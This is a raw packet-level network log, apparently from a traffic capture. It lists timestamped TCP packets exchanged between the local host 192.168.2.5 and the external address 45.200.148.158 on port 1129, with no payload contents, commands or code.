Jan 5, 2025 17:49:09.039819956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.039838076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.039870024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.039880037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.039885998 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.039907932 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.078478098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.078490019 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.078507900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.078516960 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.078566074 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.078605890 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.079024076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.079035044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.079045057 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.079067945 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.079101086 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.079854965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.079865932 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.079874992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.079899073 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.080236912 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080249071 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080257893 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080284119 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.080312967 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.080718994 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080729961 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080740929 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080756903 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080760956 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.080811024 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.080821037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080831051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080873013 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.080889940 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080900908 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080910921 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080921888 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.080934048 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.080966949 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.081123114 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.117569923 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.117589951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.117597103 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.117757082 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.121156931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.121167898 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.121177912 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.121213913 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.159969091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.159986019 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.159996033 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.160063982 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.160085917 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.160218954 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.160229921 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.160238981 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.160273075 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.161112070 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161123037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161134005 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161144018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161160946 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.161194086 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.161433935 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161480904 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.161544085 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161554098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161596060 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.161870956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161940098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161948919 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161959887 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161969900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161981106 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.161986113 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.162007093 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.162025928 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.162062883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.162136078 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.162146091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.162180901 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.169835091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.169853926 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.169864893 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.169881105 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.169910908 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.200958967 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.200983047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.200990915 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.201000929 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.201049089 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.201062918 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.203389883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.203402042 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.203412056 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.203444004 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.243638992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243654966 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243665934 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243675947 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243685961 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243725061 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243731976 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.243741035 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243752956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243766069 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.243777037 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.243779898 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243791103 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.243824005 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.244069099 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244081020 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244091988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244116068 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.244136095 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.244422913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244435072 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244443893 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244467974 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.244630098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244638920 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244678020 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.244685888 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244697094 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244705915 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.244728088 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.244743109 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.244860888 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.259430885 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.259442091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.259452105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.259495974 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.259535074 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.282300949 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.282340050 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.282350063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.282360077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.282413006 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.282442093 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.284985065 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.284995079 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.285001993 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.285048008 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325001955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325016022 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325026035 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325062990 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325066090 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325078011 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325088978 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325095892 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325129032 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325225115 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325236082 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325268984 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325293064 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325304985 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325315952 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325334072 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325352907 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325402021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325412989 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325447083 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325465918 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325479984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325527906 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325845957 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325856924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325872898 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325886965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325895071 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325896025 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325922012 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325930119 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325968981 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.325972080 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.325979948 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.326025009 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.334974051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.334990025 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.335000038 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.335055113 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.363845110 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.363854885 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.363864899 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.364022970 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.366684914 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.366694927 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.366699934 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.366708994 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.366767883 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.366781950 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.406363964 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406378031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406399965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406409979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406415939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406425953 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406445980 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.406505108 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.406532049 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406557083 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406565905 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406610966 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.406688929 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406708002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406716108 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406733036 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.406761885 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.406837940 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406850100 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406858921 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.406882048 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.406992912 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407004118 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407013893 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407041073 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.407069921 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.407079935 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407102108 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407151937 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.407203913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407216072 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407227039 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407238960 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.407250881 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.407282114 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.419828892 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.419847965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.419857025 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.419925928 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.445353031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.445372105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.445384026 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.445405006 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.445420027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.448515892 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.448527098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.448570013 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.448615074 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.448633909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.448674917 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.487874031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.487917900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.487926960 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.487937927 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.487950087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.487963915 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.487976074 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.488063097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.488073111 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.488104105 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.488131046 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.488143921 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.488162041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.488169909 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.488173008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.488187075 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.488203049 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.488218069 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.569600105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569632053 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569689035 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569699049 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569705963 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.569725037 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.569746971 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569757938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569767952 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569801092 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.569820881 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569832087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569840908 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569854021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.569865942 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.569878101 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570146084 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570157051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570190907 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570199966 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570202112 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570213079 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570225000 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570235968 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570245981 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570277929 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570292950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570306063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570322990 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570327044 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570333958 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570344925 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570348024 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570354939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570373058 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570379972 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570878983 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570897102 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570908070 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570916891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570925951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.570939064 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.570951939 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.609158993 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.609232903 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.609242916 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.609252930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.609291077 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.649374008 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.650938988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.650949955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.650960922 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651001930 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.651078939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651088953 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651093960 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651099920 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651124954 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.651154041 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.651257038 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651268005 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651277065 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651304007 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.651318073 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.651432991 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651444912 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651453972 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651490927 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:09.651572943 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651582956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:09.651592970 CET	1129	49704	45.200.148.158	192.168.2.5
